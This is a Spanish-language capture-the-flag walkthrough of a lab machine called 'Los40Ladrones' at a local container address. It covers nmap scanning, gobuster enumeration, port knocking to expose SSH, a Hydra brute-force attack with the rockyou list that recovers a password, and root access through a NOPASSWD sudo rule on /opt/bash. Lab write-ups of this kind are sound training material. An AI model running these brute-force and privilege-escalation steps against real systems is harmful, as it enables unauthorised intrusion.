24. Máquina: Los40Ladrones(Fácil)

- *1. Descubrimiento de puertos y servicios con Nmap:*
  - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
    - *Comando*: `nmap -sVC 172.17.0.2 -Pn`
    - *Resultado*: Se encontró el servicio HTTP Apache abierto.

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

- *2. Búsqueda de directorios activos con Gobuster:*
  - Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP Apache.
    - *Comando*: `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
    - *Resultado*: Se encontró algún directorio interesante como el file *qdefense.txt*, con el contenido siguiente: `Recuerda llama antes de entrar, no seas como toctoc el maleducado 7000 8000 9000 busca y llama +54 2933574639`

```
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10792]
/qdefense.txt         (Status: 200) [Size: 111]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
```

- *3. Port Knocking con Knockd:*
  - Usaremos la herramienta *knockd* para realizar *port knocking*, es decir, enviar secuencias de conexiones a puertos específicos que podrían estar securizados, ya que podría darnos información sobre servicios que están ejecutándose pero que no han sido detectados a priori. En la información del archivo *.txt* encontrado, nos explica que realicemos esta técnica contra los puertos 7000, 8000 y 9000.
    - *Comando*: `knock -v 172.17.0.2 7000 8000 9000`
    - *Resultado*: Se envian secuencias de conexiones a los puertos 7000, 8000 y 9000, recibimos el output:

```
hitting tcp 172.17.0.2:7000
hitting tcp 172.17.0.2:8000
hitting tcp 172.17.0.2:9000
```

- *4. Nmap Después de Port Knocking:*
  - Realizamos un segundo escaneo de puertos, pero esta vez hemos realizado el port knocking enviando secuencias de conexiones a puertos en especificos indicados en el fichero.
    - *Comando*: `nmap -sVC 172.17.0.2 -Pn`
    - *Resultado*: Ahora además de aparecer el servicio HTTP Apache, también aparece un servicio SSH en el puerto 22 que antes parecía estar securizado previamente.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 dc:ef:4e:ec:c9:3e:3d:68:dd:f5:1f:23:21:a3:98:83 (ECDSA)
|_  256 3e:c1:74:c1:44:af:6f:d0:90:15:4c:95:46:0a:ea:22 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- *5. Ataque de fuerza bruta con Hydra servicio SSH:*
  - Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando el nombre de usuario que nos muestran en el file *qdefense.txt* encontrado: *toctoc* y las contraseñas del rockyou.txt
    - *Comandos*: `hydra -l toctoc-P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I`

- *Resultado*: Se ha encontrado la contraseña *kittycat* para el usuario *toctoc* realizando un ataque de fuerza bruta contra el servicio ssh.

```
┌──(root💀kali)-[/home/kali]
└─# hydra -l toctoc -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-18 08:08:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended t
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398)
[DATA] attacking ssh://172.17.0.2:22/
[STATUS] 120.00 tries/min, 120 tries in 00:01h, 14344280 to do in 1992:16h, 14 active
[STATUS] 100.33 tries/min, 301 tries in 00:03h, 14344099 to do in 2382:45h, 14 active
[STATUS] 93.00 tries/min, 651 tries in 00:07h, 14343749 to do in 2570:34h, 14 active
[22][ssh] host: 172.17.0.2   login: toctoc   password: kittycat
1 of 1 target successfully completed, 1 valid password found
```

- *6. Verificación permisos toctoc:*
  - Una vez dentro del usuario *toctoc* en la máquina víctima con las credenciales encontradas, vamos a verificar que permisos tiene este usuario sobre la máquina víctima.
    - *Comando*: `ssh toctoc@172.17.0.2 (contraseña: kittycat)` `sudo -l`
    - *Resultado*: Toctoc tiene máximos privilegios en la ejecución de */ahora/noesta/function*, una función la cual no parece estar ya disponible, y en *opt/bash*, una bash la cual podemos usar para escalar privilegios.
      `(ALL : NOPASSWD) /opt/bash`
      `(ALL : NOPASSWD) /ahora/noesta/function`
- *7. Ejecución Bash con máximos privilegios:*
  - El usuario toctoc tiene máximos privilegios para ejectuar */opt/bash*, así que podemos escalar privilegios usándolo.
    - *Comando*: `sudo /opt/bash`
    - *Resultado*: Hemos escalado privilegios aprovechando los permisos sobre */opt/bash*, consiguiendo los máximos privilegios como usuario *root*. Fin de la resolución de la máquina!

```
toctoc@531e55e1cda3:/$ sudo /opt/bash
[sudo] password for toctoc:
root@531e55e1cda3:/# whoami
root
root@531e55e1cda3:/# cd root/
root@531e55e1cda3:~# ls -a
.  ..  .bash_history  .bashrc  .local  .profile  .ssh
root@531e55e1cda3:~# xDaliK
bash: xDaliK: command not found
```